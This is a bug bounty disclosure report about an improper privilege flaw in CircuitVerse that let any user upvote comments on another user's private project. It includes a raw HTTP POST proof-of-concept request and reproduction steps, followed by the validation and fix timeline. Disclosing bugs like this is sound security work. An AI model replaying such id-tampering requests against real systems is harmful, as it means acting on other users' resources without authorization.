Improper Privilege Management in circuitverse/circuitverse


Reported on

Aug 24th 2021

✍️ Description

upvote in any private comment

🕵️‍♂️ Proof of Concept

Bellow request is vulnerable to upvote in any comment of private project

POST /commontator/comments/1312/upvote HTTP/2
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
X-Csrf-Token: qnOZ/QTTwZlQC3yXyPIl/NnLvpx14vzlX9B+BZex/eCHlWukjpBB6XxmB4xZkSLa7lpxJtE3gdt06Wmzd6kWaA==
Content-Length: 11
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers


Here in this request change comment id to any comment and it will be upvoted even if the project is private .


1. There is two user--- user-A and user-B .
2. User-A created a private project and make a comment to this project .
3. Now goto user-B account sent above request to upvote the above private comment .You need to change the comment id to above private comment here .

We have contacted a member of the circuitverse team and are waiting to hear back 2 years ago
2 years ago


@maintainer I see bug is now fixed .
Can you plz mark this report as valid ?

Aboobacker MK validated this vulnerability 2 years ago
ranjit-git has been awarded the disclosure bounty
The fix bounty is now up for grabs
Aboobacker MK marked this as fixed with commit 13d4cc 2 years ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
to join this conversation